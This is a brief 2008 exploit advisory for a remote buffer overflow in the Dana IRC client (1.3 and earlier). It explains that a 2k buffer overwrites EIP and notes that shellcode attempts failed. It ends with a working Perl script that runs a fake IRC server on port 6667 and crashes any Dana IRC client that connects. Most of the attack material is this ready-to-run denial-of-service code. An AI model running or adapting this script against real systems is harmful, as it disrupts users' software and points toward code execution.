danairc-dos.txt

`- Dana IRC <= 1.3 Remote Buffer Overflow POC/Crash -  
  
Discovered On: 14 JUNE 2008  
Discovered By: t0pP8uZz  
  
Download: diebestenbits.de  
  
  
- Info -  
  
Dana Irc client suffers from a remote buffer overflow, sending a buffer of around 2k  
overwrites the EIP therefor crashes the client. The reason why there isnt any shellcode here  
is because the client is coverting the junk/buffer data to unicode so its corrupting the shellcode  
ive tried sending unicode buffer but the same problem occurs.  
  
if anyone else can get further please let me know. but i doubt you can.  
  
there are also other registers you can overwrite using diffrent junk data to overflow them.  
  
the peice of perl code below will listen on port 6667 and when a Dana IRC client connects  
it will crash the client. its also possible to send the data direct to the user.  
  
peace, t0pP8uZz  
  
#!/usr/bin/perl  
  
use IO::Socket;  
  
$sock = IO::Socket::INET->new( Proto => 'tcp', LocalPort => '6667', Listen => SOMAXCONN, Reuse => 1 );  
  
$jnk = "%n"x1000;  
print "Running..";  
while($client = $sock->accept()) {  
print $client "$jnk\r\n";  
print "Crashed Client!\n";  
}  
  
`